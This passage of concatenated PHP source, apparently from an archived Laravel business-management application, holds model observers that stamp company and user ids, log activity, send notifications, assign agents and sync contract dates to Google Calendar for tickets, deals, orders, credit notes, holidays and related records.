request()->agent_id; } } // Round Robin End } $model->ticket_number = (int)Ticket::max('ticket_number') + 1; } public function created(Ticket $model) { $this->createActivity($model, 'create'); if (!isRunningInConsoleOrSeeding()) { if (user()) { self::createEmployeeActivity(user()->id, 'ticket-created', $model->id, 'ticket'); } // Send admin notification if (request()->mention_user_ids != '' || request()->mention_user_ids != null) { $model->mentionUser()->sync(request()->mention_user_ids); $mentionArray = explode(',', request()->mention_user_ids); $mentionUserIds = array_intersect($mentionArray, array(request()->agent_id)); $unmentionIds = array_diff([request()->agent_id], $mentionArray); $mentionUserIds = $mentionUserIds ?: $mentionArray; $userDetails = User::whereIn('id', $mentionArray)->get(); event(new TicketEvent($model, $userDetails, 'MentionTicketAgent')); if ($unmentionIds != null && $unmentionIds != '' && $model->agent_id != '') { event(new TicketEvent($model, User::whereIn('id', $unmentionIds)->get(), 'TicketAgent')); } } else { event(new TicketEvent($model, null, 'NewTicket')); } if ($model->requester) { event(new TicketRequesterEvent($model, null, $model->requester)); } } } public function updating(Ticket $ticket) { if (!isRunningInConsoleOrSeeding()) { if ($ticket->isDirty('status') && $ticket->status == 'closed') { $ticket->close_date = now(company()->timezone)->format('Y-m-d'); } } } public function updated(Ticket $ticket) { if (!isRunningInConsoleOrSeeding()) { if (user()) { self::createEmployeeActivity(user()->id, 'ticket-updated', $ticket->id, 'ticket'); } if ($ticket->isDirty('agent_id') && $ticket->agent_id != '') { event(new TicketEvent($ticket, null, 'TicketAgent')); } if ($ticket->isDirty('agent_id')) { $this->createActivity($ticket, 'assign'); } if ($ticket->isDirty('group_id')) { $this->createActivity($ticket, 'group'); } if ($ticket->isDirty('priority')) { $this->createActivity($ticket, 'priority'); } if ($ticket->isDirty('type_id')) { $this->createActivity($ticket, 'type'); } if ($ticket->isDirty('channel_id')) { $this->createActivity($ticket, 'channel'); } if ($ticket->isDirty('status')) { $this->createActivity($ticket, 'status'); } } } public function deleting(Ticket $ticket) { $universalSearches = UniversalSearch::where('searchable_id', $ticket->id)->where('module_type', 'ticket')->get(); if ($universalSearches) { foreach ($universalSearches as $universalSearch) { UniversalSearch::destroy($universalSearch->id); } } $notifyData = ['App\Notifications\NewTicket', 'App\Notifications\NewTicketReply', 'App\Notifications\NewTicketRequester', 'App\Notifications\TicketAgent']; Notification::deleteNotification($notifyData, $ticket->id); $ticket->reply()->each(function ($reply) { $reply->delete(); }); } public function deleted(Ticket $ticket) { if (user()) { self::createEmployeeActivity(user()->id, 'ticket-deleted'); } } public function createActivity($ticket, $type = 'create') { $ticketActivity = new TicketActivity(); $ticketActivity->ticket_id = $ticket->id; $ticketActivity->user_id = user()->id ?? $ticket->user_id; $ticketActivity->assigned_to = $ticket->agent_id; $ticketActivity->channel_id = $ticket->channel_id; $ticketActivity->group_id = $ticket->group_id; $ticketActivity->type_id = $ticket->type_id; $ticketActivity->status = $ticket->status; $ticketActivity->priority = $ticket->priority; $ticketActivity->type = $type; $ticketActivity->save(); } } Observers/TaskCommentObserver.php000064400000005511150325104510013162 0ustar00last_updated_by = user()->id; } } public function creating(TaskComment $comment) { if (!isRunningInConsoleOrSeeding()) { $comment->added_by = user()->id; } } public function created(TaskComment $comment) { if (isRunningInConsoleOrSeeding()) { return true; } $task = $comment->task; if (request()->mention_user_id != null && request()->mention_user_id != '') { $comment->mentionUser()->sync(request()->mention_user_id); $taskUsers = json_decode($task->taskUsers->pluck('user_id')); $mentionIds = json_decode($comment->mentionComment->pluck('user_id')); $mentionUserId = array_intersect($mentionIds, $taskUsers); if ($mentionUserId != null && $mentionUserId != '') { event(new TaskCommentMentionEvent($task, $comment, $mentionUserId)); } $unmentionIds = array_diff($taskUsers, $mentionIds); if ($unmentionIds != null && $unmentionIds != '') { $taskUsersComment = User::whereIn('id', $unmentionIds)->get(); event(new TaskCommentEvent($task, $comment, $taskUsersComment, 'null')); } } else { event(new TaskCommentEvent($task, $comment, $task->users, 'null')); } if ($task->project_id != null) { if ($task->project->client_id != null && $task->project->allow_client_notification == 'enable') { event(new TaskCommentEvent($task, $comment, $task->project->client, 'client')); } } } public function updating(TaskComment $comment) { $mentionedUser = MentionUser::where('task_comment_id', $comment->id)->pluck('user_id'); $requestMentionIds = request()->mention_user_id; $newMention = []; $comment->mentionUser()->sync(request()->mention_user_id); if ($requestMentionIds != null) { foreach ($requestMentionIds as $value) { if (($mentionedUser) != null) { if (!in_array($value, json_decode($mentionedUser))) { $newMention[] = $value; } } else { $newMention[] = $value; } } if (!empty($newMention)) { event(new TaskCommentMentionEvent($comment->task, $comment, $newMention)); } } } } Observers/ProjectCategoryObserver.php000064400000001067150325104510014043 0ustar00last_updated_by = user()->id; } if (company()) { $item->company_id = company()->id; } } public function creating(ProjectCategory $item) { if (!isRunningInConsoleOrSeeding()) { $item->added_by = user()->id; } } } Observers/ClientSubCategoryObserver.php000064400000000400150325104510014313 0ustar00company_id = company()->id; } } } Observers/ModuleSettingObserver.php000064400000000712150325104510013516 0ustar00get() ->each(function ($user) { cache()->forget('user_modules_' . $user->id); }); } } Observers/ProjectMemberObserver.php000064400000003505150325104510013474 0ustar00last_updated_by = user()->id; } } public function creating(ProjectMember $projectMember) { if (!isRunningInConsoleOrSeeding()) { $projectMember->added_by = user()->id; $member = EmployeeDetails::where('user_id', $projectMember->user_id)->first(); if (!is_null($member)) { $projectMember->hourly_rate = (!is_null($member->hourly_rate) ? $member->hourly_rate : 0); $activity = new ProjectActivity(); $activity->project_id = $projectMember->project_id; $activity->activity = $member->user->name . ' ' . __('messages.isAddedAsProjectMember'); $activity->save(); } } } public function created(ProjectMember $member) { if (!isRunningInConsoleOrSeeding()) { if (user() && $member->user_id != user()->id && is_null(request()->mention_user_ids)) { event(new NewProjectMemberEvent($member)); } } } public function deleting(ProjectMember $projectMember) { $notificationModel = ['App\Notifications\NewProjectMember']; Notification::whereIn('type', $notificationModel) ->whereNull('read_at') ->where( function ($q) use ($projectMember) { $q->where('data', 'like', '{"member_id":' . $projectMember->id . ',%'); } )->delete(); } } Observers/TaskCategoryObserver.php000064400000001053150325104510013332 0ustar00last_updated_by = user()->id; } } public function creating(TaskCategory $model) { if (!isRunningInConsoleOrSeeding()) { $model->added_by = user()->id; } if (company()) { $model->company_id = company()->id; } } } Observers/DealObserver.php000064400000014004150325104510011577 0ustar00id : null; $deal->last_updated_by = $userID; } $deal->next_follow_up = 'yes'; } public function creating(Deal $deal) { $deal->hash = md5(microtime()); if (!isRunningInConsoleOrSeeding()) { if (request()->has('added_by')) { $deal->added_by = request('added_by'); } else { $userID = (!is_null(user())) ? user()->id : null; $deal->added_by = $userID; } if (company()) { $deal->company_id = company()->id; } if (!isRunningInConsoleOrSeeding()) { $categoryId = request()->category_id; $ticketSettings = LeadSetting::select('status')->first(); if ($ticketSettings && $ticketSettings->status == 1) { $agentCategoryData = LeadAgent::where('company_id', $deal->company_id) ->where('status', 'enabled') ->where('lead_category_id', $categoryId) ->pluck('id') ->toArray(); $dealData = $deal->where('company_id', $deal->company_id) ->where('category_id', $categoryId) ->whereIn('agent_id', $agentCategoryData) ->whereNotNull('agent_id') ->pluck('agent_id') ->toArray(); $diffAgent = array_diff($agentCategoryData, $dealData); if (is_null(request()->agent_id)) { if (!empty($diffAgent)) { $deal->agent_id = current($diffAgent); } else { $agentDuplicateCount = array_count_values($dealData); if (!empty($agentDuplicateCount)) { $minVal = min($agentDuplicateCount); $agent_id = array_search($minVal, $agentDuplicateCount); $deal->agent_id = $agent_id; } } } else { $leadAgent = LeadAgent::where('user_id', request()->agent_id)->where('lead_category_id', $categoryId)->first(); if(!is_null($leadAgent)) { $deal->agent_id = $leadAgent->id; } } } } } } public function updating(Deal $deal) { if ($deal->isDirty('pipeline_stage_id')){ self::createDealHistory($deal->id, 'stage-updated', agentId: $deal->agent_id, stageFromId: $deal->getOriginal('pipeline_stage_id'), stageToId: $deal->pipeline_stage_id); } } public function updated(Deal $deal) { if (!isRunningInConsoleOrSeeding()) { if (user()) { self::createEmployeeActivity(user()->id, 'deal-updated', $deal->id, 'deal'); } if (user() && !$deal->isDirty('pipeline_stage_id') && !$deal->isDirty('lead_pipeline_id') && !$deal->isDirty('agent_id')) { self::createDealHistory($deal->id, 'deal-updated', agentId: $deal->agent_id); } if ($deal->isDirty('lead_pipeline_id')){ self::createDealHistory($deal->id, 'pipeline-updated', agentId: $deal->agent_id); } if ($deal->isDirty('agent_id')) { event(new DealEvent($deal, $deal->leadAgent, 'LeadAgentAssigned')); } if ($deal->isDirty('pipeline_stage_id') || $deal->isDirty('lead_pipeline_id')) { event(new DealEvent($deal, $deal->leadAgent, 'StageUpdated')); } } } public function created(Deal $deal) { if (!isRunningInConsoleOrSeeding()) { if (user()) { self::createEmployeeActivity(user()->id, 'deal-created', $deal->id, 'deal'); } if(!session()->has('is_deal')){ if (!session()->has('is_imported') && !session()->has('create_deal_with_lead')) { if (request('agent_id') != '') { event(new DealEvent($deal, $deal->leadAgent, 'LeadAgentAssigned')); self::createDealHistory($deal->id, 'agent-assigned', agentId: $deal->agent_id); } else { Notification::send(User::allAdmins($deal->company->id), new LeadAgentAssigned($deal)); } }else if(session()->has('is_imported')){ if (session('leads_count') == session('total_leads')) { info('testing'); $admins = User::allAdmins(company()->id); Notification::send($admins, new LeadImported()); } } } } } public function deleting(Deal $deal) { $notifyData = ['App\Notifications\LeadAgentAssigned']; \App\Models\Notification::deleteNotification($notifyData, $deal->id); } public function deleted(Deal $deal) { UniversalSearch::where('searchable_id', $deal->id)->where('module_type', 'lead')->delete(); if (user()) { self::createEmployeeActivity(user()->id, 'deal-deleted'); } } } Observers/TicketReplyTemplateObserver.php000064400000000406150325104510014666 0ustar00company_id = company()->id; } } } Observers/UserchatFileObserver.php000064400000000325150325104510013311 0ustar00company_id = $model->chat->company_id; } } Observers/HolidayObserver.php000064400000004662150325104510012334 0ustar00last_updated_by = user()->id; } } public function creating(Holiday $holiday) { if (!isRunningInConsoleOrSeeding()) { $holiday->added_by = user()->id; } if (company()) { $holiday->company_id = company()->id; } } public function created(Holiday $holiday) { if (request()->notification_sent == 'yes') { $users = User::join('employee_details', 'employee_details.user_id', '=', 'users.id') ->leftJoin('designations', 'employee_details.designation_id', '=', 'designations.id') ->select('users.id', 'users.company_id', 'users.name', 'users.email', 'users.created_at', 'users.image', 'designations.name as designation_name', 'users.email_notifications', 'users.mobile', 'users.country_id', 'users.status'); if ($holiday->department_id_json && $holiday->department_id_json != null && $holiday->department_id_json != '[]') { $users->whereIn('employee_details.department_id', json_decode($holiday->department_id_json)); } if ($holiday->designation_id_json && $holiday->designation_id_json != null && $holiday->designation_id_json != '[]') { $users->whereIn('employee_details.designation_id', json_decode($holiday->designation_id_json)); } if ($holiday->employment_type_json && $holiday->employment_type_json != null && $holiday->employment_type_json != '[]') { $users->whereIn('employee_details.employment_type', json_decode($holiday->employment_type_json)); } $notifyUser = $users->groupBy('users.id')->get(); event(new HolidayEvent($holiday, request()->date, request()->occassion, $notifyUser)); } EmployeeShiftSchedule::whereDate('date', $holiday->date)->where('company_id', $holiday->company_id)->delete(); } public function updated(Holiday $holiday) { EmployeeShiftSchedule::whereDate('date', $holiday->date)->where('company_id', $holiday->company_id)->delete(); } } Observers/ProjectMilestoneObserver.php000064400000001273150325104510014224 0ustar00last_updated_by = user()->id; if (company()) { $projectMilestone->company_id = company()->id; } } } public function creating(ProjectMilestone $projectMilestone) { if (!isRunningInConsoleOrSeeding()) { $projectMilestone->added_by = user()->id; if (company()) { $projectMilestone->company_id = company()->id; } } } } Observers/UnitTypeObserver.php000064400000000353150325104510012515 0ustar00company_id = company()->id; } } } Observers/ProjectStatusSettingObserver.php000064400000000447150325104510015110 0ustar00company_id = company()->id; } } } Observers/ClientDetailsObserver.php000064400000002223150325104510013456 0ustar00id, 'client-created', $model->user_id, 'client'); } } public function saving(ClientDetails $model) { if (user()) { $model->last_updated_by = user()->id; } if (request()->has('added_by')) { $model->added_by = request('added_by'); } } public function creating(ClientDetails $model) { if (user()) { $model->added_by = user()->id; } if (request()->has('added_by')) { $model->added_by = request('added_by'); } if(request()->has('is_client_contact')){ $user = $model->user()->first(); $model->company_id = $user->company_id; }else{ $model->company_id = $model->user->company_id; } } } Observers/FileStorageObserver.php000064400000000356150325104510013143 0ustar00company_id = company()->id; } } } Observers/LeadStageObserver.php000064400000002017150325104510012564 0ustar00 $item->id, 'pipeline_stage_id' => $leadStages->id ]); } } public function deleting(PipelineStage $leadStages) { $defaultStage = PipelineStage::where('default', 1)->first(); abort_403($defaultStage->id == $leadStages->id); Deal::where('pipeline_stage_id', $leadStages->id)->update(['pipeline_stage_id' => $defaultStage->id]); } public function creating(PipelineStage $leadStages) { if (company()) { $leadStages->company_id = company()->id; } $leadStages->slug = Str::slug($leadStages->name); } } Observers/ExpenseRecurringObserver.php000064400000006231150325104510014225 0ustar00last_updated_by = user()->id; } } public function creating(ExpenseRecurring $expense) { if (!isRunningInConsoleOrSeeding() && user()) { $expense->added_by = user()->id; } if (company()) { $expense->company_id = company()->id; } switch ($expense->rotation) { case 'daily': $days = $expense->issue_date->addDay(); break; case 'weekly': $days = $expense->issue_date->addWeek(); break; case 'bi-weekly': $days = $expense->issue_date->addWeeks(2); break; case 'monthly': $days = $expense->issue_date->addMonth(); break; case 'quarterly': $days = $expense->issue_date->addQuarter(); break; case 'half-yearly': $days = $expense->issue_date->addMonths(6); break; case 'annually': $days = $expense->issue_date->addYear(); break; default: $days = $expense->issue_date->addDay(); } $expense->next_expense_date = $days->format('Y-m-d'); } public function created(ExpenseRecurring $expense) { if (!isRunningInConsoleOrSeeding()) { event(new NewExpenseRecurringEvent($expense, '')); } } public function updating(ExpenseRecurring $expense) { switch ($expense->rotation) { case 'daily': $days = $expense->issue_date->addDay(); break; case 'weekly': $days = $expense->issue_date->addWeek(); break; case 'bi-weekly': $days = $expense->issue_date->addWeeks(2); break; case 'monthly': $days = $expense->issue_date->addMonth(); break; case 'quarterly': $days = $expense->issue_date->addQuarter(); break; case 'half-yearly': $days = $expense->issue_date->addMonths(6); break; case 'annually': $days = $expense->issue_date->addYear(); break; default: $days = $expense->issue_date->addDay(); } $expense->next_expense_date = $days->format('Y-m-d'); } public function updated(ExpenseRecurring $expense) { if (!isRunningInConsoleOrSeeding()) { if ($expense->isDirty('status')) { event(new NewExpenseRecurringEvent($expense, 'status')); } } } public function deleting(ExpenseRecurring $expense) { $notifyData = ['App\Notifications\NewExpenseRecurringMember', 'App\Notifications\ExpenseRecurringStatus']; Notification::deleteNotification($notifyData, $expense->id); } } Observers/LeadCategoryObserver.php000064400000001037150325104510013277 0ustar00last_updated_by = user()->id; } } public function creating(LeadCategory $leadCategory) { if (!isRunningInConsoleOrSeeding()) { $leadCategory->added_by = user()->id; } if (company()) { $leadCategory->company_id = company()->id; } } } Observers/EmployeeDetailsObserver.php000064400000002526150325104510014025 0ustar00check()) { $detail->last_updated_by = user()->id; } } public function creating(EmployeeDetails $detail) { if (!isRunningInConsoleOrSeeding() && auth()->check()) { $detail->added_by = user()->id; } $detail->company_id = $detail->user->company_id; if (is_null($detail->marital_status)) { $detail->marital_status = MaritalStatus::Single; } } public function created(EmployeeDetails $detail) { $settings = company(); $user = $detail->user; Artisan::call('app:recalculate-leaves-quotas ' . $detail->company_id . ' ' . $user->id); event(new NewUserSlackEvent($user)); } public function updated(EmployeeDetails $detail) { if (user() && $detail->isDirty('joining_date')) { Artisan::call('app:recalculate-leaves-quotas ' . $detail->company_id . ' ' . $detail->user_id); } } } Observers/DiscussionFileObserver.php000064400000000367150325104510013664 0ustar00company_id = company()->id; } } } Observers/InvoiceFileObserver.php000064400000002005150325104510013124 0ustar00last_updated_by = user()->id; } } public function creating(InvoiceFiles $invoiceFiles) { if (!isRunningInConsoleOrSeeding()) { $invoiceFiles->added_by = user()->id; $invoiceFiles->created_at = now()->format('Y-m-d H:i:s'); } } public function deleting(InvoiceFiles $invoiceFiles) { $invoiceFiles->load('invoice'); if (!isRunningInConsoleOrSeeding()) { if (isset($invoiceFiles->invoice) && $invoiceFiles->invoice->default_image == $invoiceFiles->hashname) { $invoiceFiles->invoice->default_image = null; $invoiceFiles->invoice->save(); } } Files::deleteFile($invoiceFiles->hashname, InvoiceFiles::FILE_PATH); } } Observers/UserLeadboardSettingObserver.php000064400000000411150325104510015001 0ustar00company_id = company()->id; } } } Observers/AttendanceObserver.php000064400000001127150325104510013002 0ustar00last_updated_by = user()->id; } } public function creating(Attendance $attendance) { if (user()) { $attendance->added_by = user()->id; } if ($attendance->work_from_type != 'other') { $attendance->working_from = $attendance->work_from_type; } $attendance->company_id = $attendance->user->company_id; } } Observers/OrderObserver.php000064400000013305150325104510012010 0ustar00added_by = user()->id; $order->company_id = company()->id; } if (is_numeric($order->order_number) || is_null($order->order_number)) { $order->order_number = $order->formatOrderNumber(); } $order->custom_order_number = $order->order_number; $orderSettings = (company()) ? company()->invoiceSetting : $order->company->invoiceSetting; $order->original_order_number = str($order->order_number)->replace($orderSettings->order_prefix . $orderSettings->order_number_separator, ''); } public function created(Order $order) { if (user()) { self::createEmployeeActivity(user()->id, 'order-created', $order->id, 'order'); } if (isRunningInConsoleOrSeeding()) { return true; } if (!empty(request()->item_name)) { $itemsId = request()->item_ids; $itemsSummary = request()->item_summary; $cost_per_item = request()->cost_per_item; $hsn_sac_code = request()->hsn_sac_code; $quantity = request()->quantity; $unitId = request()->unit_id; $productId = request()->product_id; $amount = request()->amount; $tax = request()->taxes; $sku = request()->sku; $invoice_item_image_url = request()->invoice_item_image_url; foreach (request()->item_name as $key => $item) : if (!is_null($item)) { $orderItem = OrderItems::create( [ 'order_id' => $order->id, 'item_name' => $item, 'item_summary' => $itemsSummary[$key] ?: '', 'type' => 'item', 'unit_id' => (isset($unitId[$key])) ? $unitId[$key] : null, 'product_id' => (isset($productId[$key])) ? $productId[$key] : null, 'hsn_sac_code' => (isset($hsn_sac_code[$key])) ? $hsn_sac_code[$key] : null, 'quantity' => $quantity[$key], 'unit_price' => round($cost_per_item[$key], 2), 'amount' => round($amount[$key], 2), 'taxes' => ($tax ? (array_key_exists($key, $tax) ? json_encode($tax[$key]) : null) : null), 'sku' => (isset($sku[$key])) ? $sku[$key] : null, 'field_order' => $key + 1 ] ); // Save order image url if (isset($invoice_item_image_url[$key])) { OrderItemImage::create( [ 'order_item_id' => $orderItem->id, 'external_link' => $invoice_item_image_url[$key] ?? '' ] ); } } if (in_array('client', user_roles())) { OrderCart::where('client_id', user()->id)->where('product_id', $itemsId[$key])->delete(); } endforeach; } // Notify client $notifyUser = User::withoutGlobalScope(ActiveScope::class)->findOrFail($order->client_id); if (request()->type && request()->type == 'send') { event(new NewOrderEvent($order, $notifyUser)); } } public function saving(Order $order) { if (!isRunningInConsoleOrSeeding()) { if (is_null($order->company_address_id)) { $defaultCompanyAddress = CompanyAddress::where('is_default', 1)->first(); $order->company_address_id = $defaultCompanyAddress->id; } } } public function updated(Order $order) { if (user()) { self::createEmployeeActivity(user()->id, 'order-updated', $order->id, 'order'); } // Send notification if (($order->isDirty('order_date') || $order->isDirty('sub_total') || $order->isDirty('total') || $order->isDirty('status') || $order->isDirty('currency_id') || $order->isDirty('show_shipping_address') || $order->isDirty('note') || $order->isDirty('last_updated_by')) && $order->added_by != null) { $clientId = $order->client_id ?: $order->added_by; // Notify client $notifyUser = User::withoutGlobalScope(ActiveScope::class)->findOrFail($clientId); event(new OrderUpdatedEvent($order, $notifyUser)); } } public function deleting(Order $order) { $notificationModel = ['App\Notifications\NewOrder']; Notification::whereIn('type', $notificationModel) ->whereNull('read_at') ->where( function ($q) use ($order) { $q->where('data', 'like', '{"id":' . $order->id . ',%'); $q->orWhere('data', 'like', '%,"task_id":' . $order->id . ',%'); } )->delete(); } public function deleted(Order $order) { if (user()) { self::createEmployeeActivity(user()->id, 'order-deleted'); } } } Observers/OfflinePaymentMethodObserver.php000064400000000427150325104510015017 0ustar00company_id = company()->id; } } } Observers/EmailNotificationSettingObserver.php000064400000000425150325104510015670 0ustar00company_id = company()->id; } } } Observers/EmployeeShiftObserver.php000064400000002525150325104510013514 0ustar00forget('attendance_setting'); $existingSchedules = EmployeeShiftSchedule::where('employee_shift_id', $employeeShift->id)->whereDate('date', '>=', now()->subDay()->toDateString())->get(); if ($existingSchedules) { foreach ($existingSchedules as $item) { $item->shift_start_time = $item->date->toDateString() . ' ' . Carbon::parse($employeeShift->office_start_time)->toTimeString(); if (Carbon::parse($employeeShift->office_start_time)->gt(Carbon::parse($employeeShift->office_end_time))) { $item->shift_end_time = $item->date->addDay()->toDateString() . ' ' . Carbon::parse($employeeShift->office_end_time)->toTimeString(); } else { $item->shift_end_time = $item->date->toDateString() . ' ' . Carbon::parse($employeeShift->office_end_time)->toTimeString(); } $item->saveQuietly(); } } } public function creating(EmployeeShift $model) { if (company()) { $model->company_id = company()->id; } } } Observers/TaskFileObserver.php000064400000001327150325104510012440 0ustar00last_updated_by = user()->id; } } public function creating(TaskFile $file) { if (!isRunningInConsoleOrSeeding()) { $file->added_by = $file->user_id; } } public function deleting(TaskFile $file) { Files::deleteFile($file->hashname, 'task-files/' . $file->task_id); if(TaskFile::where('task_id', $file->task_id)->count() == 0){ Files::deleteDirectory(TaskFile::FILE_PATH . '/' . $file->task_id); } } } Observers/TaskUserObserver.php000064400000001467150325104510012504 0ustar00project_id)) { if (user() && $taskUser->user_id != user()->id && is_null($taskUser->task->recurring_task_id) && is_null(request()->mention_user_ids)) { // event(new TaskEvent($taskUser->task, $taskUser->user, 'NewTask')); } } } } public function created(TaskUser $taskUser) { if (!isRunningInConsoleOrSeeding()) { if(request()->has('template_id')){ event(new TaskEvent($taskUser->task, $taskUser->user, 'NewTask')); } } } } Observers/EmployeeTeamObserver.php000064400000000355150325104510013324 0ustar00company_id = company()->id; } } } Observers/PinnedObserver.php000064400000001002150325104510012141 0ustar00user_id = UserService::getUserId(); } } public function creating(Pinned $pinned) { if (company()) { $pinned->company_id = company()->id; } } } Observers/ContractObserver.php000064400000015356150325104510012522 0ustar00last_updated_by = user()->id; } /* Add/Update google calendar event */ if ($contract && !is_null($contract->end_date)) { $contract->event_id = $this->googleCalendarEvent($contract); } } } public function updating(Contract $contract) { if (!isRunningInConsoleOrSeeding()) { /* Add/Update google calendar event */ if ($contract && $contract->end_date) { $contract->event_id = $this->googleCalendarEvent($contract); } } } public function creating(Contract $contract) { $contract->hash = md5(microtime()); if (user()) { $contract->added_by = user()->id; } if (company()) { $contract->company_id = company()->id; } if (is_numeric($contract->contract_number)) { $contract->contract_number = $contract->formatContractNumber(); } $invoiceSettings = company() ? company()->invoiceSetting : $contract->company->invoiceSetting; $contract->original_contract_number = str($contract->contract_number)->replace($invoiceSettings->contract_prefix . $invoiceSettings->contract_number_separator, ''); } // Notify client when new contract is created public function created(Contract $contract) { if (!isRunningInConsoleOrSeeding() && user()) { self::createEmployeeActivity(user()->id, 'contract-created', $contract->id, 'contract'); } event(new NewContractEvent($contract)); } public function deleting(Contract $contract) { $notifyData = ['App\Notifications\NewContract', 'App\Notifications\ContractSigned']; Notification::deleteNotification($notifyData, $contract->id); /* Start of deleting event from google calendar */ $google = new Google(); $googleAccount = company(); if (company()->google_calendar_status == 'active' && $googleAccount->google_calendar_verification_status == 'verified' && $googleAccount->token) { $google->connectUsing($googleAccount->token); try { if ($contract->event_id) { $google->service('Calendar')->events->delete('primary', $contract->event_id); } } catch (Exception $error) { if (is_null($error->getErrors())) { // Delete google calendar connection data i.e. token, name, google_id $googleAccount->name = null; $googleAccount->token = null; $googleAccount->google_id = null; $googleAccount->google_calendar_verification_status = 'non_verified'; $googleAccount->save(); } } } /* End of deleting event from google calendar */ } protected function googleCalendarEvent($event) { $module = GoogleCalendarModule::first(); $googleAccount = company(); if (company()->google_calendar_status == 'active' && $googleAccount->google_calendar_verification_status == 'verified' && $googleAccount->token && $module->contract_status == 1) { $google = new Google(); $attendiesData = []; $attendees = User::where('id', $event->client_id)->first(); if ($event->end_date && $attendees?->google_calendar_status) { $attendiesData[] = ['email' => $attendees->email]; } if ($event->start_date && $event->end_date) { $start_date = Carbon::parse($event->start_date)->shiftTimezone($googleAccount->timezone); $end_date = Carbon::parse($event->end_date)->shiftTimezone($googleAccount->timezone); // Create event $google = $google->connectUsing($googleAccount->token); $eventData = new Google_Service_Calendar_Event(array( 'summary' => $event->subject, 'location' => '', 'description' => '', 'colorId' => 2, 'start' => array( 'dateTime' => $start_date, 'timeZone' => $googleAccount->timezone, ), 'end' => array( 'dateTime' => $end_date, 'timeZone' => $googleAccount->timezone, ), 'attendees' => $attendiesData, 'reminders' => array( 'useDefault' => false, 'overrides' => array( array('method' => 'email', 'minutes' => 24 * 60), array('method' => 'popup', 'minutes' => 10), ), ), )); try { if ($event->event_id) { $results = $google->service('Calendar')->events->patch('primary', $event->event_id, $eventData); } else { $results = $google->service('Calendar')->events->insert('primary', $eventData); } return $results->id; } catch (Exception $error) { if (is_null($error->getErrors())) { // Delete google calendar connection data i.e. token, name, google_id $googleAccount->name = null; $googleAccount->token = null; $googleAccount->google_id = null; $googleAccount->google_calendar_verification_status = 'non_verified'; $googleAccount->save(); } } } } return $event->event_id; } public function updated(Contract $contract) { if (!isRunningInConsoleOrSeeding() && user()) { self::createEmployeeActivity(user()->id, 'contract-updated', $contract->id, 'contract'); } } public function deleted(Contract $contract) { if (!isRunningInConsoleOrSeeding() && user()) { self::createEmployeeActivity(user()->id, 'contract-deleted'); } } } Observers/CreditNoteObserver.php000064400000007776150325104510013014 0ustar00last_updated_by = user()->id; } } public function creating(CreditNotes $creditNote) { if (\user()) { $creditNote->added_by = user()->id; } if (company()) { $creditNote->company_id = company()->id; } if (is_numeric($creditNote->cn_number)) { $creditNote->cn_number = $creditNote->formatCreditNoteNumber(); } $invoiceSettings = company() ? company()->invoiceSetting : $creditNote->company->invoiceSetting; $creditNote->original_credit_note_number = str($creditNote->cn_number)->replace($invoiceSettings->credit_note_prefix . $invoiceSettings->credit_note_number_separator, ''); } public function deleting(CreditNotes $creditNote) { $universalSearches = UniversalSearch::where('searchable_id', $creditNote->id)->where('module_type', 'creditNote')->get(); if ($universalSearches) { foreach ($universalSearches as $universalSearch) { UniversalSearch::destroy($universalSearch->id); } } $notifyData = ['App\Notifications\NewCreditNote']; Notification::deleteNotification($notifyData, $creditNote->id); } public function created(CreditNotes $creditNote) { if (!isRunningInConsoleOrSeeding()) { if (user()) { self::createEmployeeActivity(user()->id, 'creditNote-created', $creditNote->id, 'credit_note'); } $clientId = null; if ($creditNote->client_id) { $clientId = $creditNote->client_id; } elseif ($creditNote->invoice && $creditNote->invoice->client_id != null) { $clientId = $creditNote->invoice->client_id; } elseif ($creditNote->project && $creditNote->project->client_id != null) { $clientId = $creditNote->project->client_id; } elseif ($creditNote->invoice->project && $creditNote->invoice->project->client_id != null) { $clientId = $creditNote->invoice->project->client_id; } if ($clientId) { $notifyUser = User::withoutGlobalScope(ActiveScope::class)->findOrFail($clientId); // Notify client if ($notifyUser) { event(new NewCreditNoteEvent($creditNote, $notifyUser)); } } if (isset($creditNote->invoice) && $creditNote->invoice->status == 'partial') { /* Make and entry in payment table */ $payment = new Payment(); $payment->invoice_id = $creditNote->invoice->id; $payment->customer_id = $creditNote->invoice->client_id; $payment->credit_notes_id = $creditNote->id; $payment->amount = $creditNote->invoice->amountDue(); $payment->gateway = 'Credit Note'; $payment->currency_id = $creditNote->invoice->currency_id; $payment->status = 'complete'; $payment->paid_on = now(); $payment->save(); } } } public function updated(CreditNotes $creditNote) { if (!isRunningInConsoleOrSeeding() && user()) { self::createEmployeeActivity(user()->id, 'creditNote-updated', $creditNote->id, 'credit_note'); } } public function deleted(CreditNotes $creditNote) { if (user()) { self::createEmployeeActivity(user()->id, 'creditNote-deleted'); } } } Observers/EstimateTemplateObserver.php000064400000023013150325104510014201 0ustar00company_id = company()->id; } } public function created(EstimateTemplate $estimate) { if (!isRunningInConsoleOrSeeding()) { if (!empty(request()->item_name)) { $itemsSummary = request()->item_summary; $cost_per_item = request()->cost_per_item; $hsn_sac_code = request()->hsn_sac_code; $quantity = request()->quantity; $unitId = request()->unit_id; $productId = request()->product_id; $amount = request()->amount; $tax = request()->taxes; $invoice_item_image = request()->invoice_item_image; $invoice_item_image_url = request()->invoice_item_image_url; foreach (request()->item_name as $key => $item) { if (!is_null($item)) { $estimateTemplateItem = EstimateTemplateItem::create( [ 'estimate_template_id' => $estimate->id, 'company_id' => $estimate->company_id, 'item_name' => $item, 'item_summary' => $itemsSummary[$key], 'type' => 'item', 'unit_id' => (isset($unitId[$key]) && !is_null($unitId[$key])) ? $unitId[$key] : null, 'product_id' => (isset($productId[$key]) && !is_null($productId[$key])) ? $productId[$key] : null, 'hsn_sac_code' => (isset($hsn_sac_code[$key]) && !is_null($hsn_sac_code[$key])) ? $hsn_sac_code[$key] : null, 'quantity' => $quantity[$key], 'unit_price' => round($cost_per_item[$key], 2), 'amount' => round($amount[$key], 2), 'taxes' => ($tax ? (array_key_exists($key, $tax) ? json_encode($tax[$key]) : null) : null) ] ); } /* Invoice file save here */ if (isset($estimateTemplateItem) && (isset($invoice_item_image[$key]) || isset($invoice_item_image_url[$key]))) { $estimateTemplateItemImage = new EstimateTemplateItemImage(); $estimateTemplateItemImage->estimate_template_item_id = $estimateTemplateItem->id; $estimateTemplateItemImage->company_id = $estimateTemplateItem->company_id; if (isset($invoice_item_image_url[$key])) { $product = Product::findOrFail(request()->product_id[$key]); $fileOrgName = ProductFiles::where('product_id', request()->product_id[$key])->where('hashname', $product->default_image)->first(); $fileName = Files::generateNewFileName($fileOrgName->filename); Files::copy(Product::FILE_PATH . '/' . $fileOrgName->hashname, EstimateTemplateItemImage::FILE_PATH . '/' . $estimateTemplateItem->id . '/' . 